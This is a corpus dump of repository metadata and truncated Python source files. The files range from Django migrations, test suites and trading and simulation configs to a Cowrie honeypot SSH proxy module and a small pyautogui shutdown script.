71ef0026ca2661bfacc2477f6ffef01467ef6dac
[ "BSD-3-Clause" ]
null
null
null
tests/logic_adapter_tests/test_logic_adapter.py
arnauddelaunay/ChatterBot
71ef0026ca2661bfacc2477f6ffef01467ef6dac
[ "BSD-3-Clause" ]
1
2019-02-12T23:39:17.000Z
2019-02-12T23:39:17.000Z
from unittest import TestCase from chatterbot.adapters.logic import LogicAdapter class LogicAdapterTestCase(TestCase): """ This test case is for the LogicAdapter base class. Although this class is not intended for direct use, this test case ensures that exceptions requiring basic functionality are...
37.333333
101
0.726366
from unittest import TestCase from chatterbot.adapters.logic import LogicAdapter class LogicAdapterTestCase(TestCase): def setUp(self): super(LogicAdapterTestCase, self).setUp() self.adapter = LogicAdapter() def test_can_process(self): self.assertTrue(self.adapter.can_process("")) ...
true
true
f774706750a7714c96bc358dedfb0e850b428949
6,706
py
Python
train/exp_configs/rl/singleagent/test-stl-flow-base-route-noprofit.py
mepear/flow
4fc6ceaf64ca522b5a5c4104a3098b20cf207dd4
[ "MIT" ]
1
2021-03-05T07:39:51.000Z
2021-03-05T07:39:51.000Z
train/exp_configs/rl/singleagent/test-stl-flow-base-route-noprofit.py
mepear/flow
4fc6ceaf64ca522b5a5c4104a3098b20cf207dd4
[ "MIT" ]
1
2021-09-13T02:16:02.000Z
2021-09-13T02:16:02.000Z
train/exp_configs/rl/singleagent/test-stl-flow-base-route-noprofit.py
mepear/flow
4fc6ceaf64ca522b5a5c4104a3098b20cf207dd4
[ "MIT" ]
1
2021-08-21T13:58:30.000Z
2021-08-21T13:58:30.000Z
"""Grid example.""" from flow.controllers import IDMController, RLController from flow.controllers.routing_controllers import Flow_Select, FluxBase_Router from flow.core.params import SumoParams, EnvParams, InitialConfig, NetParams from flow.core.params import VehicleParams, PersonParams from flow.core.params import Tr...
31.190698
147
0.699672
from flow.controllers import IDMController, RLController from flow.controllers.routing_controllers import Flow_Select, FluxBase_Router from flow.core.params import SumoParams, EnvParams, InitialConfig, NetParams from flow.core.params import VehicleParams, PersonParams from flow.core.params import TrafficLightParams fro...
true
true
f774727b3a55e643e2d86d6118997b718b48ede2
524
py
Python
ghconf/test/revert/teams/__init__.py
optile/ghconf
954bce20f5ac4a240098bbc328585b34d91f8a12
[ "MIT" ]
6
2019-03-29T21:27:09.000Z
2021-07-13T11:35:39.000Z
ghconf/test/revert/teams/__init__.py
optile/ghconf
954bce20f5ac4a240098bbc328585b34d91f8a12
[ "MIT" ]
1
2021-08-06T12:26:42.000Z
2021-09-24T11:56:22.000Z
ghconf/test/revert/teams/__init__.py
optile/ghconf
954bce20f5ac4a240098bbc328585b34d91f8a12
[ "MIT" ]
1
2019-03-29T21:26:35.000Z
2019-03-29T21:26:35.000Z
# -* encoding: utf-8 *- from typing import Set, Dict, Union from ghconf.plumbing.teams import Admin, Team, Maintainer, Member, TeamsConfig, BaseMember from ghconf.plumbing.teams import teamsconfig_t from ghconf.primitives import EXTEND, OVERWRITE, Policy config = { "organization": { "admin_policy": EXTEND...
24.952381
90
0.666031
from typing import Set, Dict, Union from ghconf.plumbing.teams import Admin, Team, Maintainer, Member, TeamsConfig, BaseMember from ghconf.plumbing.teams import teamsconfig_t from ghconf.primitives import EXTEND, OVERWRITE, Policy config = { "organization": { "admin_policy": EXTEND, "team_policy":...
true
true
f77472e83eeee1824c04c3e46748b85a867b26f8
1,462
py
Python
watertap/unit_models/zero_order/municipal_wwtp_zo.py
dangunter/watertap
5fe94e4c27dc1ae9e2872960e4183dccadd42d8e
[ "BSD-3-Clause-LBNL" ]
null
null
null
watertap/unit_models/zero_order/municipal_wwtp_zo.py
dangunter/watertap
5fe94e4c27dc1ae9e2872960e4183dccadd42d8e
[ "BSD-3-Clause-LBNL" ]
null
null
null
watertap/unit_models/zero_order/municipal_wwtp_zo.py
dangunter/watertap
5fe94e4c27dc1ae9e2872960e4183dccadd42d8e
[ "BSD-3-Clause-LBNL" ]
null
null
null
############################################################################### # WaterTAP Copyright (c) 2021, The Regents of the University of California, # through Lawrence Berkeley National Laboratory, Oak Ridge National # Laboratory, National Renewable Energy Laboratory, and National Energy # Technology Laboratory ...
36.55
81
0.683995
from pyomo.environ import Constraint, units as pyunits, Var from idaes.core import declare_process_block_class from watertap.core import build_pt, constant_intensity, ZeroOrderBaseData __author__ = "Marcus Holly" @declare_process_block_class("MunicipalWWTPZO") class MunicipalWWTPZOData(ZeroOrderBaseData): CONFI...
true
true
f7747363fce380a42f6bb458c766f483a352cecc
2,054
py
Python
OneToOne/migrations/0001_initial.py
osmosishk/purifier
879c76ccaa24adea5193cb249b0414f084b2b465
[ "MIT" ]
null
null
null
OneToOne/migrations/0001_initial.py
osmosishk/purifier
879c76ccaa24adea5193cb249b0414f084b2b465
[ "MIT" ]
null
null
null
OneToOne/migrations/0001_initial.py
osmosishk/purifier
879c76ccaa24adea5193cb249b0414f084b2b465
[ "MIT" ]
null
null
null
# Generated by Django 3.1.4 on 2021-06-29 00:54 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] ope...
45.644444
170
0.605161
from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( ...
true
true
f77474af064207ebd79c68c8d6745eedd64078b9
880
py
Python
image_finder/models.py
jecel0911/ImageLocalFinder
27c875a253084fedf644797b2d0318939ca75784
[ "MIT" ]
null
null
null
image_finder/models.py
jecel0911/ImageLocalFinder
27c875a253084fedf644797b2d0318939ca75784
[ "MIT" ]
null
null
null
image_finder/models.py
jecel0911/ImageLocalFinder
27c875a253084fedf644797b2d0318939ca75784
[ "MIT" ]
null
null
null
from django.db import models import time import random from functools import partial def _update_filename(instance, filename, path): return path + str(time.time()) + '_' + str(random.randint(0,1000)) + '_' + filename def upload_to(path): return partial(_update_filename, path=path) # Create your models here. cl...
23.783784
86
0.756818
from django.db import models import time import random from functools import partial def _update_filename(instance, filename, path): return path + str(time.time()) + '_' + str(random.randint(0,1000)) + '_' + filename def upload_to(path): return partial(_update_filename, path=path) class ImageHeader(models.Mode...
true
true
f77476ae9ac9af6f3df80bc8859f2142d4d54aea
746
py
Python
2017/24a.py
msullivan/advent-of-code
ba4b0c3e229bca0f632d51d18ad72ecddd2405da
[ "MIT" ]
8
2016-12-01T19:41:50.000Z
2021-12-21T18:50:55.000Z
2017/24a.py
msullivan/advent-of-code
ba4b0c3e229bca0f632d51d18ad72ecddd2405da
[ "MIT" ]
null
null
null
2017/24a.py
msullivan/advent-of-code
ba4b0c3e229bca0f632d51d18ad72ecddd2405da
[ "MIT" ]
3
2018-12-23T06:58:47.000Z
2021-12-20T10:09:15.000Z
#!/usr/bin/env python3 import sys from collections import defaultdict def other(pair, x): return pair[0] if x == pair[1] else pair[1] def search(m, avail, cur): top = 0 for choice in m[cur]: if choice not in avail: continue avail.remove(choice) val = search(m, avail, other(choice, cur...
21.941176
74
0.576408
import sys from collections import defaultdict def other(pair, x): return pair[0] if x == pair[1] else pair[1] def search(m, avail, cur): top = 0 for choice in m[cur]: if choice not in avail: continue avail.remove(choice) val = search(m, avail, other(choice, cur)) + choice[0] + choice...
true
true
f7747720d37e6eaf1d1cbfa1965135c0c39df4d9
11,042
py
Python
hue_bridge/types/service.py
SENERGY-Platform/hue-bridge-connector
03e1a631e5aa6b9faff998a503968a276627f027
[ "Apache-2.0" ]
1
2018-12-20T13:00:58.000Z
2018-12-20T13:00:58.000Z
hue_bridge/types/service.py
SENERGY-Platform/hue-bridge-connector
03e1a631e5aa6b9faff998a503968a276627f027
[ "Apache-2.0" ]
null
null
null
hue_bridge/types/service.py
SENERGY-Platform/hue-bridge-connector
03e1a631e5aa6b9faff998a503968a276627f027
[ "Apache-2.0" ]
null
null
null
""" Copyright 2019 InfAI (CC SES) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in...
32.28655
125
0.558776
__all__ = ('SetPower', 'SetBrightness', 'SetKelvin', 'SetColor', 'GetStatus', 'PlugSetPower', 'PlugGetStatus', 'GetStatusCL') if __name__ == '__main__': exit('Please use "client.py"') from ..configuration import config from ..logger import root_logger from rgbxy import Converter, GamutB, GamutC, GamutA from r...
true
true
f77478a1f7ff1c11ae00c06c681c8f6fb14f825a
18,842
py
Python
extra/unused/verticalCoreg.py
whyjz/CARST
875c915e835b0e09a7eccb58833719bbfc85b635
[ "MIT" ]
10
2018-01-02T18:03:07.000Z
2022-01-25T05:36:21.000Z
extra/unused/verticalCoreg.py
whyjz/CARST
875c915e835b0e09a7eccb58833719bbfc85b635
[ "MIT" ]
1
2020-04-14T16:57:15.000Z
2020-05-15T16:10:17.000Z
extra/unused/verticalCoreg.py
whyjz/CARST
875c915e835b0e09a7eccb58833719bbfc85b635
[ "MIT" ]
4
2016-08-12T15:06:48.000Z
2019-11-27T05:33:50.000Z
#!/usr/bin/python # verticalCoreg.py # Author: Andrew Kenneth Melkonian # All rights reserved def verticalCoreg(search_dem_tif_path, ref_dem_tif_path, ice_bounds_path, rock_bounds_path, upper_bound, lower_bound, resolution): assert os.path.exists(ref_dem_tif_path), "\n***** ERROR: " + ref_dem_tif_path + " does no...
42.058036
356
0.619679
def verticalCoreg(search_dem_tif_path, ref_dem_tif_path, ice_bounds_path, rock_bounds_path, upper_bound, lower_bound, resolution): assert os.path.exists(ref_dem_tif_path), "\n***** ERROR: " + ref_dem_tif_path + " does not exist\n"; assert os.path.exists(search_dem_tif_path), "\n***** ERROR: " + search_dem_tif_pa...
false
true
f774797075e0073a4487a39b9f0c891cfc654a00
1,166
py
Python
sdk/logic/azure-mgmt-logic/azure/mgmt/logic/models/error_properties.py
iscai-msft/azure-sdk-for-python
83715b95c41e519d5be7f1180195e2fba136fc0f
[ "MIT" ]
8
2021-01-13T23:44:08.000Z
2021-03-17T10:13:36.000Z
sdk/logic/azure-mgmt-logic/azure/mgmt/logic/models/error_properties.py
iscai-msft/azure-sdk-for-python
83715b95c41e519d5be7f1180195e2fba136fc0f
[ "MIT" ]
226
2019-07-24T07:57:21.000Z
2019-10-15T01:07:24.000Z
sdk/logic/azure-mgmt-logic/azure/mgmt/logic/models/error_properties.py
iscai-msft/azure-sdk-for-python
83715b95c41e519d5be7f1180195e2fba136fc0f
[ "MIT" ]
2
2020-05-21T22:51:22.000Z
2020-05-26T20:53:01.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
34.294118
82
0.590051
from msrest.serialization import Model class ErrorProperties(Model): _attribute_map = { 'code': {'key': 'code', 'type': 'str'}, 'message': {'key': 'message', 'type': 'str'}, } def __init__(self, **kwargs): super(ErrorProperties, self).__init__(**kwargs) self.code = kwarg...
true
true
f77479956cefa09395db0baad82b8828927097b1
17,338
py
Python
vnpy/gateway/ib/ib_gateway.py
cxjpower/vnpy
8cb5e73d6538daedad41db51a07a6e6a16ebc567
[ "MIT" ]
1
2021-04-17T15:08:12.000Z
2021-04-17T15:08:12.000Z
vnpy/gateway/ib/ib_gateway.py
cxjpower/vnpy
8cb5e73d6538daedad41db51a07a6e6a16ebc567
[ "MIT" ]
null
null
null
vnpy/gateway/ib/ib_gateway.py
cxjpower/vnpy
8cb5e73d6538daedad41db51a07a6e6a16ebc567
[ "MIT" ]
null
null
null
""" Please install ibapi from Interactive Brokers github page. """ from copy import copy from datetime import datetime from queue import Empty from threading import Thread from ibapi import comm from ibapi.client import EClient from ibapi.common import MAX_MSG_LEN, NO_VALID_ID, OrderId, TickAttrib, TickerId from ibapi...
27.60828
108
0.587092
from copy import copy from datetime import datetime from queue import Empty from threading import Thread from ibapi import comm from ibapi.client import EClient from ibapi.common import MAX_MSG_LEN, NO_VALID_ID, OrderId, TickAttrib, TickerId from ibapi.contract import Contract, ContractDetails from ibapi.execution imp...
true
true
f77479a1bfa670fe2c8f494b7c789661ce284cee
4,363
py
Python
xlsxwriter/test/worksheet/test_cond_format07.py
haiyangd/XlsxWriter
81f8c9435b3e03a1458bf9ba314b5d3f7508290f
[ "BSD-2-Clause-FreeBSD" ]
3
2018-02-26T12:31:41.000Z
2020-10-10T14:14:11.000Z
xlsxwriter/test/worksheet/test_cond_format07.py
haiyangd/XlsxWriter
81f8c9435b3e03a1458bf9ba314b5d3f7508290f
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
xlsxwriter/test/worksheet/test_cond_format07.py
haiyangd/XlsxWriter
81f8c9435b3e03a1458bf9ba314b5d3f7508290f
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2017, John McNamara, jmcnamara@cpan.org # import unittest from ...compatibility import StringIO from ..helperfunctions import _xml_to_list from ...worksheet import Worksheet class TestAss...
38.610619
171
0.391703
import unittest from ...compatibility import StringIO from ..helperfunctions import _xml_to_list from ...worksheet import Worksheet class TestAssembleWorksheet(unittest.TestCase): def test_assemble_xml_file(self): self.maxDiff = None fh = StringIO() worksheet = Worksheet() worksh...
true
true
f7747ac935633a88bddd897aaa48d467e809d3be
1,257
py
Python
anylink/forms.py
moccu/django-anylink
1ad9a19500d394f0d651f966952be1cd93b35103
[ "BSD-3-Clause" ]
6
2015-05-18T13:49:15.000Z
2020-04-10T00:02:27.000Z
anylink/forms.py
moccu/django-anylink
1ad9a19500d394f0d651f966952be1cd93b35103
[ "BSD-3-Clause" ]
10
2015-04-07T09:09:50.000Z
2018-06-19T09:33:47.000Z
anylink/forms.py
moccu/django-anylink
1ad9a19500d394f0d651f966952be1cd93b35103
[ "BSD-3-Clause" ]
4
2015-05-29T16:23:26.000Z
2020-09-16T07:19:33.000Z
from django import forms from django.conf import settings from django.utils.encoding import force_text from django.utils.translation import ugettext from django.utils.translation import ugettext_lazy as _ from .models import AnyLink class AnyLinkAdminForm(forms.ModelForm): confirmation = forms.BooleanField( ...
35.914286
92
0.644391
from django import forms from django.conf import settings from django.utils.encoding import force_text from django.utils.translation import ugettext from django.utils.translation import ugettext_lazy as _ from .models import AnyLink class AnyLinkAdminForm(forms.ModelForm): confirmation = forms.BooleanField( ...
true
true
f7747be42ef4f020ed7f0be0951e8ec5bc9e79ab
6,793
py
Python
src/cowrie/ssh_proxy/client_transport.py
dkozinn/cowrie
32d2a6a0066e6d8be6826e4e10c8fe67b544b485
[ "BSD-3-Clause" ]
1
2019-08-26T04:11:56.000Z
2019-08-26T04:11:56.000Z
src/cowrie/ssh_proxy/client_transport.py
dkozinn/cowrie
32d2a6a0066e6d8be6826e4e10c8fe67b544b485
[ "BSD-3-Clause" ]
1
2022-02-11T03:43:00.000Z
2022-02-11T03:43:00.000Z
src/cowrie/ssh_proxy/client_transport.py
Lucas-UFU/my-cowrie-ufu
1759c200079c60a440b8eb3d4155f2a33567cc59
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2019 Guilherme Borges <guilhermerosasborges@gmail.com> # All rights reserved. from twisted.conch.ssh import transport from twisted.internet import defer, protocol from twisted.protocols.policies import TimeoutMixin from twisted.python import log from cowrie.core.config import CowrieConfig from cowrie....
40.676647
118
0.660238
from twisted.conch.ssh import transport from twisted.internet import defer, protocol from twisted.protocols.policies import TimeoutMixin from twisted.python import log from cowrie.core.config import CowrieConfig from cowrie.ssh_proxy.util import bin_string_to_hex, string_to_hex def get_int(data, length=4): retu...
true
true
f7747c09ac14256843fb685a7bbb504c7d00c0bb
480
py
Python
mikaponics/foundation/model_resources/user_resources.py
mikaponics/mikaponics-back
98e1ff8bab7dda3492e5ff637bf5aafd111c840c
[ "BSD-3-Clause" ]
2
2019-04-30T23:51:41.000Z
2019-05-04T00:35:52.000Z
mikaponics/foundation/model_resources/user_resources.py
mikaponics/mikaponics-back
98e1ff8bab7dda3492e5ff637bf5aafd111c840c
[ "BSD-3-Clause" ]
27
2019-04-30T20:22:28.000Z
2022-02-10T08:10:32.000Z
mikaponics/foundation/model_resources/user_resources.py
mikaponics/mikaponics-back
98e1ff8bab7dda3492e5ff637bf5aafd111c840c
[ "BSD-3-Clause" ]
null
null
null
from foundation.models import User def get_staff_email_addresses(): ''' Utility function which fetches all the administrator emails and returns a python array of emails. ''' user_emails_queryset = User.objects.filter(is_staff=True).values_list('email') user_emails = [] for email_tuple in u...
32
82
0.727083
from foundation.models import User def get_staff_email_addresses(): user_emails_queryset = User.objects.filter(is_staff=True).values_list('email') user_emails = [] for email_tuple in user_emails_queryset: email_string = str(email_tuple[0]) user_emails.append(email_string) return user_e...
true
true
f7747c49d8753239346bf09ef77cda733fdc35ed
548
py
Python
backend/home/migrations/0001_load_initial_data.py
crowdbotics-apps/customerservice-32685
46d7af183b63fc2687690d5bf3cc0f5e0613a856
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/home/migrations/0001_load_initial_data.py
crowdbotics-apps/customerservice-32685
46d7af183b63fc2687690d5bf3cc0f5e0613a856
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/home/migrations/0001_load_initial_data.py
crowdbotics-apps/customerservice-32685
46d7af183b63fc2687690d5bf3cc0f5e0613a856
[ "FTL", "AML", "RSA-MD" ]
null
null
null
from django.db import migrations def create_site(apps, schema_editor): Site = apps.get_model("sites", "Site") custom_domain = "customerservice-32685.botics.co" site_params = { "name": "CustomerService", } if custom_domain: site_params["domain"] = custom_domain Site.objects.up...
21.076923
61
0.664234
from django.db import migrations def create_site(apps, schema_editor): Site = apps.get_model("sites", "Site") custom_domain = "customerservice-32685.botics.co" site_params = { "name": "CustomerService", } if custom_domain: site_params["domain"] = custom_domain Site.objects.up...
true
true
f7747d59371277c77aba00741e70196a5a66362c
600
py
Python
tests/timezones/models.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
5,079
2015-01-01T03:39:46.000Z
2022-03-31T07:38:22.000Z
tests/timezones/models.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
1,623
2015-01-01T08:06:24.000Z
2022-03-30T19:48:52.000Z
tests/timezones/models.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
2,033
2015-01-04T07:18:02.000Z
2022-03-28T19:55:47.000Z
from django.db import models class Event(models.Model): dt = models.DateTimeField() class MaybeEvent(models.Model): dt = models.DateTimeField(blank=True, null=True) class Session(models.Model): name = models.CharField(max_length=20) class SessionEvent(models.Model): dt = models.DateTimeField() ...
21.428571
79
0.74
from django.db import models class Event(models.Model): dt = models.DateTimeField() class MaybeEvent(models.Model): dt = models.DateTimeField(blank=True, null=True) class Session(models.Model): name = models.CharField(max_length=20) class SessionEvent(models.Model): dt = models.DateTimeField() ...
true
true
f7747efbe7c4a4de006d331a5e1c6650a43eaa02
1,272
py
Python
scopes/graph.py
leg100/scopes
6a31908acf44b9f65f25668230197ed13229a80d
[ "MIT" ]
null
null
null
scopes/graph.py
leg100/scopes
6a31908acf44b9f65f25668230197ed13229a80d
[ "MIT" ]
1
2021-11-15T17:47:40.000Z
2021-11-15T17:47:40.000Z
scopes/graph.py
leg100/scopes
6a31908acf44b9f65f25668230197ed13229a80d
[ "MIT" ]
null
null
null
import networkx as nx from networkx.algorithms import bfs_tree import sys from scopes import utils from .tasks import Spout import pdb G = nx.DiGraph() def build(tasks): """ Build graph from a list of tasks. """ for t in tasks: G.add_node(t) for t in tasks: deps_found = 0 f...
20.852459
78
0.596698
import networkx as nx from networkx.algorithms import bfs_tree import sys from scopes import utils from .tasks import Spout import pdb G = nx.DiGraph() def build(tasks): for t in tasks: G.add_node(t) for t in tasks: deps_found = 0 for d in tasks: if t is not d and t...
true
true
f7747f51a298c043df90d448b0c6acf7ea057797
267
py
Python
pyramda/logic/__init__.py
sergiors/pyramda
5bf200888809b1bc946e813e29460f204bccd13e
[ "MIT" ]
124
2015-07-30T21:34:25.000Z
2022-02-19T08:45:50.000Z
pyramda/logic/__init__.py
sergiors/pyramda
5bf200888809b1bc946e813e29460f204bccd13e
[ "MIT" ]
37
2015-08-31T23:02:20.000Z
2022-02-04T04:45:28.000Z
pyramda/logic/__init__.py
sergiors/pyramda
5bf200888809b1bc946e813e29460f204bccd13e
[ "MIT" ]
20
2015-08-04T18:59:09.000Z
2021-12-13T08:08:59.000Z
from .all_pass import all_pass from .and_func import and_func from .any_pass import any_pass from .both import both from .complement import complement from .either import either from .if_else import if_else from .not_func import not_func from .or_func import or_func
26.7
34
0.831461
from .all_pass import all_pass from .and_func import and_func from .any_pass import any_pass from .both import both from .complement import complement from .either import either from .if_else import if_else from .not_func import not_func from .or_func import or_func
true
true
f7747fcee432112e3ee1e36d60a128d15e45a83a
5,000
py
Python
tools/tiny-test-fw/docs/conf.py
ebertn/esp-idf-nes
9dc7e9a258fd378d36408a1348253b373974b431
[ "Apache-2.0" ]
2
2020-06-23T08:05:58.000Z
2020-06-24T01:25:51.000Z
tools/tiny-test-fw/docs/conf.py
ebertn/esp-idf-nes
9dc7e9a258fd378d36408a1348253b373974b431
[ "Apache-2.0" ]
2
2022-03-29T05:16:50.000Z
2022-03-29T05:16:50.000Z
vendors/espressif/esp-idf/tools/tiny-test-fw/docs/conf.py
ictk-solution-dev/amazon-freertos
cc76512292ddfb70bba3030dbcb740ef3c6ead8b
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # TinyTestFW documentation build configuration file, created by # sphinx-quickstart on Thu Sep 21 20:19:12 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated...
31.64557
80
0.6596
import os import sys sys.path.insert(0, os.path.abspath('..')) extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode', 'plantweb.directive'] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = u'TinyTestFW' copyright = u'2017...
true
true
f77481bdbe5883de12284c4095cd0df07a565c3e
20,148
py
Python
isstools/widgets/widget_camera.py
NSLS-II-ISS/isstools
54102529384f2c76633ca0393d637225a4104f93
[ "BSD-3-Clause" ]
3
2018-02-01T16:29:22.000Z
2019-06-11T19:33:06.000Z
isstools/widgets/widget_camera.py
NSLS-II-ISS/isstools
54102529384f2c76633ca0393d637225a4104f93
[ "BSD-3-Clause" ]
14
2018-01-18T19:31:58.000Z
2021-04-29T00:31:59.000Z
isstools/widgets/widget_camera.py
NSLS-II-ISS/isstools
54102529384f2c76633ca0393d637225a4104f93
[ "BSD-3-Clause" ]
13
2016-08-26T18:43:16.000Z
2021-07-02T04:04:10.000Z
import datetime from timeit import default_timer as timer import numpy as np import pkg_resources from PyQt5 import uic, QtWidgets, QtCore from PyQt5.QtCore import QThread, QSettings from matplotlib.backends.backend_qt5agg import ( FigureCanvasQTAgg as FigureCanvas, NavigationToolbar2QT as NavigationToolbar) ...
44.087527
138
0.609936
import datetime from timeit import default_timer as timer import numpy as np import pkg_resources from PyQt5 import uic, QtWidgets, QtCore from PyQt5.QtCore import QThread, QSettings from matplotlib.backends.backend_qt5agg import ( FigureCanvasQTAgg as FigureCanvas, NavigationToolbar2QT as NavigationToolbar) ...
true
true
f77481ec1626256e220ea5b2e2dc383eecf92957
2,289
py
Python
sdk/tables/azure-data-tables/azure/data/tables/_generated/aio/_configuration.py
vbarbaresi/azure-sdk-for-python
397ba46c51d001ff89c66b170f5576cf8f49c05f
[ "MIT" ]
8
2021-01-13T23:44:08.000Z
2021-03-17T10:13:36.000Z
sdk/tables/azure-data-tables/azure/data/tables/_generated/aio/_configuration.py
vbarbaresi/azure-sdk-for-python
397ba46c51d001ff89c66b170f5576cf8f49c05f
[ "MIT" ]
2
2020-03-03T23:11:13.000Z
2020-03-30T18:50:55.000Z
sdk/tables/azure-data-tables/azure/data/tables/_generated/aio/_configuration.py
vbarbaresi/azure-sdk-for-python
397ba46c51d001ff89c66b170f5576cf8f49c05f
[ "MIT" ]
2
2020-05-21T22:51:22.000Z
2020-05-26T20:53:01.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
42.388889
108
0.662735
from typing import Any from azure.core.configuration import Configuration from azure.core.pipeline import policies from .._version import VERSION class AzureTableConfiguration(Configuration): def __init__( self, url: str, **kwargs: Any ) -> None: if url is None: ...
true
true
f7748282c5f7cfb405b1816c8a6f3324a8e73834
2,865
py
Python
tests/classification/test_auc.py
hlin09/metrics
d432d3dcad35d4036be2266d49ae0eab06cc5ea4
[ "Apache-2.0" ]
1
2021-04-09T13:13:20.000Z
2021-04-09T13:13:20.000Z
tests/classification/test_auc.py
ethanwharris/metrics
cceced613f4323a1f5124099a969f2cf32a80d7e
[ "Apache-2.0" ]
null
null
null
tests/classification/test_auc.py
ethanwharris/metrics
cceced613f4323a1f5124099a969f2cf32a80d7e
[ "Apache-2.0" ]
null
null
null
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
32.556818
117
0.653752
from collections import namedtuple from functools import partial import numpy as np import pytest from sklearn.metrics import auc as _sk_auc from torch import tensor from tests.helpers import seed_all from tests.helpers.testers import NUM_BATCHES, MetricTester from torchmetrics.classification.auc import AUC from torc...
true
true
f7748311168c144d210bec2f57df9ec5d767811c
477
py
Python
examples/cache.py
danclaudiupop/robox
e2c4203aade6401c206f5cfdfd55d1c8d94a7e5f
[ "BSD-3-Clause" ]
42
2022-02-04T19:26:03.000Z
2022-03-28T13:51:45.000Z
examples/cache.py
danclaudiupop/robox
e2c4203aade6401c206f5cfdfd55d1c8d94a7e5f
[ "BSD-3-Clause" ]
7
2022-02-03T20:35:55.000Z
2022-03-03T17:04:04.000Z
examples/cache.py
danclaudiupop/robox
e2c4203aade6401c206f5cfdfd55d1c8d94a7e5f
[ "BSD-3-Clause" ]
1
2022-03-08T20:09:07.000Z
2022-03-08T20:09:07.000Z
from robox import DictCache, FileCache, Options, Robox with Robox(options=Options(cache=DictCache())) as robox: p1 = robox.open("https://httpbin.org/get") assert not p1.from_cache p2 = robox.open("https://httpbin.org/get") assert p2.from_cache with Robox(options=Options(cache=FileCache("./cache"))) a...
31.8
65
0.696017
from robox import DictCache, FileCache, Options, Robox with Robox(options=Options(cache=DictCache())) as robox: p1 = robox.open("https://httpbin.org/get") assert not p1.from_cache p2 = robox.open("https://httpbin.org/get") assert p2.from_cache with Robox(options=Options(cache=FileCache("./cache"))) a...
true
true
f7748376c6cb26aa40cc60e4db0e3f89b135edda
564
py
Python
authapp/migrations/backup/0015_auto_20210226_2036.py
cy4ok/my-region
8f3155354d13bc93b38b3ed824f6f0f380dac6b4
[ "MIT" ]
null
null
null
authapp/migrations/backup/0015_auto_20210226_2036.py
cy4ok/my-region
8f3155354d13bc93b38b3ed824f6f0f380dac6b4
[ "MIT" ]
1
2021-03-23T16:22:13.000Z
2021-03-23T16:22:13.000Z
authapp/migrations/backup/0015_auto_20210226_2036.py
cy4ok/my-region
8f3155354d13bc93b38b3ed824f6f0f380dac6b4
[ "MIT" ]
null
null
null
# Generated by Django 3.1.6 on 2021-02-26 17:36 import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('authapp', '0014_auto_20210226_2033'), ] operations = [ migrations.AlterField( ...
26.857143
158
0.664894
import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('authapp', '0014_auto_20210226_2033'), ] operations = [ migrations.AlterField( model_name='appuser', name='acti...
true
true
f774841fe5ccc1d8ba502d58b67b4a60baa03d79
270
py
Python
Smaller_Programs/Pyautogui/ShutDown.py
patrickdbrowne/Projects
5a8b798e165021198b7fa9c9fe32f5aa0fefe41f
[ "Apache-2.0" ]
null
null
null
Smaller_Programs/Pyautogui/ShutDown.py
patrickdbrowne/Projects
5a8b798e165021198b7fa9c9fe32f5aa0fefe41f
[ "Apache-2.0" ]
null
null
null
Smaller_Programs/Pyautogui/ShutDown.py
patrickdbrowne/Projects
5a8b798e165021198b7fa9c9fe32f5aa0fefe41f
[ "Apache-2.0" ]
null
null
null
import pyautogui as pg import time pg.hotkey("winleft", "x") for x in range(2): pg.keyDown("u") pg.keyUp("u") time.sleep(8) pg.keyDown("Shift") for x in range(2): pg.keyDown("tab") pg.keyUp("tab") pg.press("enter") # tab is 'tab' # shift is 'shift'
14.210526
25
0.611111
import pyautogui as pg import time pg.hotkey("winleft", "x") for x in range(2): pg.keyDown("u") pg.keyUp("u") time.sleep(8) pg.keyDown("Shift") for x in range(2): pg.keyDown("tab") pg.keyUp("tab") pg.press("enter")
true
true
f774868b82dd5409b7d54129df2db98fccf87fae
3,346
py
Python
libraries/plotting/widgets/hist.py
PiRSquared17/r-orange
6bc383f1db3c10c59e16b39daffc44df904ce031
[ "Apache-2.0" ]
1
2019-04-15T13:50:30.000Z
2019-04-15T13:50:30.000Z
libraries/plotting/widgets/hist.py
PiRSquared17/r-orange
6bc383f1db3c10c59e16b39daffc44df904ce031
[ "Apache-2.0" ]
null
null
null
libraries/plotting/widgets/hist.py
PiRSquared17/r-orange
6bc383f1db3c10c59e16b39daffc44df904ce031
[ "Apache-2.0" ]
1
